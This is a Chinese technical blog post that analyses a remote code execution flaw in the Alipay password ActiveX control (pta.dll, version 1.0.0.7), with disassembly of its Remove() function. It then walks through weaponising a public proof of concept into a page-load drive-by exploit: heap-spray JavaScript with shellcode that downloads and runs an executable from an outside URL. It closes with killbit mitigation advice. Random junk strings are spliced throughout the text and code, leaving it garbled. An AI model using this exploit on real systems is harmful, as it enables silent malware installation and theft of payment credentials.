阿里巴巴支付宝 控件漏洞利用研究

上一篇 / 下一篇  2008-08-27 07:00:58

关于阿里巴巴支付宝控件漏洞网络上还存在争议。有的说漏洞存在,有的说不存在,搞得我也不知道该信谁了。不过没有调查就没有发言权,还是让我们自己去找问题的答案吧。IXPUB技术博客#@.`;HsH

  我们先来看看关于漏洞的说明:在支付宝密码输入控件中存在一个远程代码执行漏洞,攻击者可利用此漏洞在被攻击者系统上执行任意代码,进而可安装木马以及间谍程序,窃取相关敏感信息,比如淘宝账号与密码,或者支付宝账号与密码。此漏洞存在于由ActiveX控件pta.dll导出的Remove()函数中,相关信息如下。IXPUB技术博客s)?$[{P b

IXPUB技术博客Z:`t"SLb

  InprocServer32: pta.dllIXPUB技术博客\KM wh m Q?

IXPUB技术博客xl2SK cUY$q

  ClassID : 66F50F46-70A0-4A05-BD5E-FBCC0F9641ECIXPUB技术博客"x}L5l K%K

IXPUB技术博客 h'w4OE1iv!B

  [id(0x60030001), helpstring("method Remove")]

c*ieL,{6s C-V9N0IXPUB技术博客&`8^VIq u

  void Remove([in] int idx);

c[ i!qLB i R0

/A+}8NV/H$Cx x#k[$h0  我们还是直接看Remove()函数的处理流程,代码如下。IXPUB技术博客yxN5k T oOY

IXPUB技术博客}wmHJ$D

  .text:10003D4E ; RemoveIXPUB技术博客M|#~pF^SD X

v m.^ ]"?'G&?|O+K ae0  .text:10003D4E

a J4O[;K4v/h0IXPUB技术博客)\ sYV${0g\"[;k V

  .text:10003D4E sub_10003D4E proc near

9J/p$k!h_ PB0IXPUB技术博客;j@J8[-~;mUw

  ; DATA XREF: .rdata:1000B3A4 oIXPUB技术博客#}$`Y(`!yZ|

IXPUB技术博客M8eM;VJM2`n/l"bX

  .text:10003D4E ; .rdata:1000B41C o ...

_iD pvS2@J0IXPUB技术博客&D.s!hU1Oh"aE

  .text:10003D4E

JA+^0W lF0IXPUB技术博客 p Cb&xfX

  .text:10003D4E arg_0 = dword ptr 4IXPUB技术博客*lk'dNSOlE

Kl|Qw#wA0  .text:10003D4E arg_4 = dword ptr 8

o~@h} l-K^B0

-m^1kG/U9VI2b*S0  .text:10003D4E

/O)w%\:m%L"t6Z0IXPUB技术博客|7z A _-x}:L

  .text:10003D4E mov eax, [esp+arg_4]

7A6Vsn1Svn8r-Aq3C}8|0

c M G._7Tf0  .text:10003D52 test eax, eax

1@X$n0Hk*|4u,d0

)^)bL$Tv-O;{|0  .text:10003D54 jl short loc_10003D78IXPUB技术博客&f8?*e3C&f]e

IXPUB技术博客/E f9h+C3Y

  .text:10003D56 push esi

6Ak+@)n3@2_;ya9~#E0

4F|u5_"\:T7O%A0  .text:10003D57 mov esi, [esp+4+arg_0] ; get idxIXPUB技术博客nQ.C-r;wU1f8Y+uE C

*}[`l` Ln0  .text:10003D5B shl eax, 4 ; idx << 4

,k-cv0s0F{*^0

l[!C7N+Y[$Xvl3M0  .text:10003D5E add eax, [esi+8] ; [esi+8]=0

&k#I nkXT5DpDO'LA0

(N0AV_.E0  .text:10003D61 push edi;IXPUB技术博客 w9Qmr/j8B

IXPUB技术博客[a9Yu9b_2_/N

  .text:10003D62 mov edi, eax ; idx << 4 ==>edi

0N'V wbv?$O0L0

| jw*u-J(Q0  .text:10003D64 mov eax, [edi+8] ; [(idx << 4)+8] ==>eax

.d3G&Bde^0V5Zo0IXPUB技术博客*G |lg{

  .text:10003D67 push eax

t'g8D3Mp0IXPUB技术博客TMYGt&Bw(B

  .text:10003D68 mov ecx, [eax] ; [[(idx << 4)+8]]==>ecx

l/O tw3pI8`8O A0

7ilTd!Xn0  .text:10003D6A call dword ptr [ecx+8]

!A r irL'J_7]0

~%Y-Z(T cu'`0  ; [[[(idx << 4)+8]]+8]==>jmp addrIXPUB技术博客*Ht?!x$S't n7`

;U;b'T L7g(X u0  .text:10003D6D push ediIXPUB技术博客|j\Rcim"}

9j I7r%fJ$u*O(@w Y0  .text:10003D6E lea ecx, [esi+4]IXPUB技术博客;v0pa3^4w }W

IXPUB技术博客5nJt%WM}/D3{1b@.J

  .text:10003D71 call sub_10003F35

R{0C2T9k)r'h\0IXPUB技术博客B orb0W6a8@|

  .text:10003D76 pop edi

H6~ ^}r E"lD8?_ z0

3w.H([ o-\0  .text:10003D77 pop esiIXPUB技术博客v ]YMa

/p5yx%[!m8iD&q0  .text:10003D78

(T9hW.Wef8h0

qKW ML Y\0  .text:10003D78 loc_10003D78:

:yl8OT%Q Z0IXPUB技术博客xfrv cR6A

  ; CODE XREF: sub_10003D4E+6jIXPUB技术博客'^,[;l6Lq

IXPUB技术博客*UZ \e;SQK:]'v

  .text:10003D78 xor eax, eax

/E9n0pRz:^1q5@%T0IXPUB技术博客!PW8Z8q'JxP!r6Aj

  .text:10003D7A retn 8

$b9F*]L F&T}e0IXPUB技术博客 Ab w T6H4Y:K

  .text:10003D7A sub_10003D4E endpIXPUB技术博客0J.[H Hlvc*^

IXPUB技术博客Z$DR"iQ'vD^

  其中的idx是我们可以控制的,可以完成有意思的攻击。比如我们设置idx为0x41414141,程序就会执行[[[14141410h+8]]+8]地址处的代码。存在漏洞的支付宝程序版本是1.0.0.7,安装相应版本的程序后,我找到了存在漏洞的pta.dll文件;同时也找到了网上流传的关于这个漏洞的测试代码,我已放在随文资料中,大家可自行下载研究,文件名为POC.html。它是一个包含JavaScript的网页文件,所实现的功能就是当按钮被按下时调用ClickForRunCalc函数。打开这个网页文件,按下按钮,在耗费了巨大内存后,IE崩溃了。但这只能说明这个控件有问题,真的像某些人所说的那样,这个漏洞可以执行恶意代码并对用户造成损失吗?有溢出基础的人一定知道,并不是所有的溢出漏洞都能成功执行ShellCode的。抱着研究学习的态度,我们修改一下这个代码,看看它能不能实现下载者的功能。IXPUB技术博客o ON4gC3}Oi

1]c g5\Lhq(eH:d!A0  大家注意看POC代码中的payLoadCode变量,如图1所示。它就是关键所在,我们只需修改这个用于存放ShellCode的变量就能测试它是否可以实现下载者的功能。但自己写ShellCode对很多人来说都是很困难的,不过大家不必担心,我有更简单的办法。这里要用到ms07004的利用程序ms07-004.exe。我们先用这个程序生成一个网马,就是让它下载一个文件,如图2所示。然后用记事本打开这个ms07004网马,会发现里面有一个变量叫shellcode,这就是我们可以利用的现成的ShellCode了,其作用就是下载指定的那个文件。把它复制到payLoadCode那里就行了,溢出后就可以下载并执行这个文件了。此外,我们还需要改一个地方,用以实现打开这个网页时就调用ClickForRunCalc函数,而不是在按下按钮之后。我们只需删掉“<button nclick="javascript:ClickForRunCalc();">ClickForRunCalc</button>”这行代码,并在</script>前加上“ClickForRunCalc();”即可。修改后的部分代码如下,完整代码请见随文资料。

#s I*VF2lmVC9Xl0
IXPUB技术博客 G Nt'UK.[

……省略……IXPUB技术博客$s-i5cY2\ ?R"v(rl

IXPUB技术博客+VC&`:u;_+Sz

<SCRIPT. language="javascript">IXPUB技术博客 ^2P,m xq \V

IXPUB技术博客6Ub _%s N/k+E q

function ClickForRunCalc()

#Syk([%b ~Lm(f0IXPUB技术博客y yo/e2YE/c)q_&|

{

E}-ibH0

d3O3}+Ku7V{4Q0var heapSprayToAddress = 0x0d0d0d0d;

RgC Sp'gE l0

%^(qkR5Pn:_u0var payLoadCode = unescape("%u9090"+"%u9090"+

SBDW;g0G0IXPUB技术博客5|)q1bG^$V]"nx

"%u6460%u30a1%u0000%u8b00%u0c40%u708b%uad1cIXPUB技术博客8D(`dhgl(dU|$d9a

Z!AM M_E0%u708b" +IXPUB技术博客)qTIXx&}t/Y

4Q7Kqqn(hQb3x0"%u8108%u00ec%u0004%u8b00%u56ec%u8e68%u0e4eIXPUB技术博客1l_ \-O/M'^?"d

3yZ3[0n wX xJK)]0%ue8ec" +IXPUB技术博客7pk(T:G+Zh h+\'?

IXPUB技术博客,~x6MvU1]

"%u00ff%u0000%u4589%u5604%u9868%u8afe%ue80eIXPUB技术博客Te+|+g%D g sM

0?*uD7dk4o0%u00f1" +IXPUB技术博客7CjfkJ4{b

+h8ky;P!@Cr)_0"%u0000%u4589%u5608%u2568%uffb0%ue8c2%u00e3

s#?HD{oP}2y0IXPUB技术博客*c \9Da$Q3s-t.U/n@

%u0000" +IXPUB技术博客7s\lF6[+NhA"}{

IXPUB技术博客n)dM~A%G,p8|

"%u4589%u560c%uef68%ue0ce%ue860%u00d5%u0000

S"ZlJ-@*wO#rl"T0IXPUB技术博客p g|yR"H

%u4589" +IXPUB技术博客6v.{/qY'o/F |#c

IXPUB技术博客 nWJa{&T.X+SCNh

"%u5610%uc168%ue579%ue8b8%u00c7%u0000%u4589IXPUB技术博客3a-c)QN5^+^9q p

ue?L#GR0%u4014" +IXPUB技术博客JS\Hi;w f$M`

IXPUB技术博客t%ucA0z/@$}b!F"b0c

"%u3880%u75c3%u89fa%u1845%u08e9%u0001%u5e00

Z+^Pd3r0

;Jw2hY}.C,uO0%u7589" +

Ma)Y(dz0

1q7{^ Fm m)[W0"%u8b24%u0445%u016a%u8b59%u1855%ue856%u008c

]_.n2bup0IXPUB技术博客 A c~EpE@

%u0000" +

y&|;Ekv7n0

Ckp"n Q[d0"%u6850%u1a36%u702f%u98e8%u0000%u8900%u1c45IXPUB技术博客[:IyVGT$b

IXPUB技术博客+y tpB#b i;jXG

%uc58b" +IXPUB技术博客]"O)~/t$eRI

NtcJ;jt7~f@0"%uc083%u8950%u2045%uff68%u0000%u5000%u458bIXPUB技术博客r$f!s8t6[N6e

Q&Y |O1BaJ0%u6a14" +

h%g(Xq z0

-W}*q%iN0"%u5902%u558b%ue818%u0062%u0000%u4503%uc720IXPUB技术博客 C g%uV)H:v0i3Jk_

IXPUB技术博客0M g%A*d?A#_

%u5c00" +

-Jh%|9f0nN0IXPUB技术博客Y EzAm R

"%u2e7e%uc765%u0440%u6578%u0000%u75ff%u8b20IXPUB技术博客LX { ~l

D3x+HQ(l'n6O$C0%u0c45" +IXPUB技术博客8UI-rc t&C9j|Z

IXPUB技术博客5]0Ma(i4VH-C(uc L

"%u016a%u8b59%u1855%u41e8%u0000%u6a00%u5807

j F | mx"tDX:nC0

y*~1d6xS0%u4503" +IXPUB技术博客#q(le.w"h7b c Le{;`Ifg

IXPUB技术博客0A^.xL)x$y

"%u3324%u53db%uff53%u2075%u5350%u458b%u6a1cIXPUB技术博客Cv5YGHHB@ v)P

IXPUB技术博客}#]B M L

%u5905" +

*G7Z[F+}6y o [0

C4`*U6s1v+SP0"%u558b%ue818%u0024%u0000%u006a%u75ff%u8b20

!p U)Ts`[(z$Er0

"I4LC,m]"z0%u0845" +

:_)e'q&^'rX:d0IXPUB技术博客0_:n0{HIh{Q-s&c

"%u026a%u8b59%u1855%u11e8%u0000%u8100%u00c4IXPUB技术博客%H7Z7r%h%k

IXPUB技术博客.j k}2^c ^mS;f

%u0004" +IXPUB技术博客E(Aq*Z9q%?v"W

IXPUB技术博客 {iTz5^)z'e `

"%u6100%uc481%u04dc%u0000%uc25d%u0024%u5b41

eG1oc8_B0IXPUB技术博客zrf^xw+P

%u0352" +IXPUB技术博客LQg+m4wkk

pO+^g_#~M&Z P:oji0"%u03e1%u03e1%u03e1%u83e1%u04ec%u535a%uda8bIXPUB技术博客_$hx|y`

o+J2Q9I%nL0%uf7e2" +

}%[Q(Y:X$SS0

[7Jt;bZJ0"%uff52%u55e0%uec8b%u7d8b%u8b08%u0c5d%u8b56IXPUB技术博客s@`8RCR

1[ ~ PnfMC,M)^0%u3c73" +IXPUB技术博客;ai}Oe;O m,i

IXPUB技术博客#s9`i `};V+l(s

"%u748b%u781e%uf303%u8b56%u2076%uf303%uc933IXPUB技术博客8P7IuP@:X WoKa@ V

z? c vl0%u4149" +

u-l0s,p q)U1]i0

_#T8U5Ccv&o6?W0"%u03ad%u56c3%uf633%ube0f%u3a10%u74f2%uc108IXPUB技术博客nL6c ufwJ-qI n!F

IXPUB技术博客 h H!l"m:ISx @

%u0dce" +IXPUB技术博客 c)F T;w zF A

IXPUB技术博客#X\;mN]vte~ ej7a

"%uf203%ueb40%u3bf1%u5efe%ue575%u8b5a%u8beb

2F:v6x Krb$F0IXPUB技术博客X3^D7CVJ~1W

%u245a" +IXPUB技术博客/T@ V$i%ZJe h.{

*@8a i'T%VagoI0"%udd03%u8b66%u4b0c%u5a8b%u031c%u8bdd%u8b04IXPUB技术博客 \bFYrEss6e?-J

$b3f6s8MI,O0%uc503" +IXPUB技术博客B$T L)CG#[@

oo0n\2SG0"%u5d5e%u08c2%ue800%ufef3%uffff%u5255%u4d4cIXPUB技术博客UZf[q9n

IXPUB技术博客Pjga"E @6k/N

%u4e4f" +

S GP zL0IXPUB技术博客:H'X.a.J1QP8l NB ?Z

"%u6800%u7474%u3a70%u2f2f%u6e63%u7466%u2e70IXPUB技术博客.[ M,G9g}

^2ai8_J#[2[0%u6a62" +IXPUB技术博客U;h5_.\:M_+B2H

IXPUB技术博客_;yjq;B;F3U6FY1G T,h8[

"%u7475%u652e%u7564%u632e%u2f6e%u7570%u2f62

`[8e.}a7C*R&}u5Z0IXPUB技术博客 @9[.h-o;Z.x Jch3E

%u6170" +

xB3z ZjP2j'g0

,~]#wD$\K:R0"%u6374%u6568%u2f73%u736d%u5052%u2f43%u6946

~fB,g1r/v!t^0IXPUB技术博客$A[3D$|QT eoLw

%u5778" +IXPUB技术博客n9_P2K_

%QxT Z#m0"%u6c65%u6863%u652e%u6578%u0000");

"w$e Q6aV a:_)[]M,|0IXPUB技术博客i+[1K{o

var heapBlockSize = 0x400000;IXPUB技术博客&[R1H!t5e8Of(~

IXPUB技术博客EIvl,M%Fh+n0{ UQ

var payLoadSize = payLoadCode.length * 2;IXPUB技术博客5C$z&xK\E&x

IXPUB技术博客/ZH oOU]

……省略……IXPUB技术博客'u@f*]7` lvOX

IXPUB技术博客3U/l^%L:s(q*J2q8x

ClickForRunCalc();IXPUB技术博客&]2h fb zVf

"G ]0T%TIh5l0</script>

eI(QQ&BG G6R} ~i8Hi0

)Z2KpEhm0……省略……

7v&N{;rpm \2@#`5Lw9h0
IXPUB技术博客 ? C$vz5zp2u#spHl

  如此修改之后,我们就可以实际测试一下看看是否有问题存在了。结果如图3所示,在IE耗费大量内存之后,下载者的功能实现了,IE处于没有响应的状态。IXPUB技术博客ub~!_ a J^i n

由此我们可以得出结论,支付宝1.0.0.7的控件的确存在可以被用来下马的溢出漏洞。不过可喜的是,支付宝的后续版本已经修复了这个问题。对于还在使用1.0.0.7版本的用户来说,最好通过注册表将相应的CLSID设置为Killbit,如不使用支付宝可到“%system%\aliedit\”目录下删除pta.dll。最后,祝阿里巴巴的产品越来越安全,毕竟中国网络安全的进步是我们每个人的愿望。

TAG: 阿里巴巴 漏洞 研究 支付宝 控件

 

评分:0

我来说两句

显示全部

:loveliness: :handshake :victory: :funk: :time: :kiss: :call: :hug: :lol :'( :Q :L ;P :$ :P :o :@ :D :( :)

Open Toolbar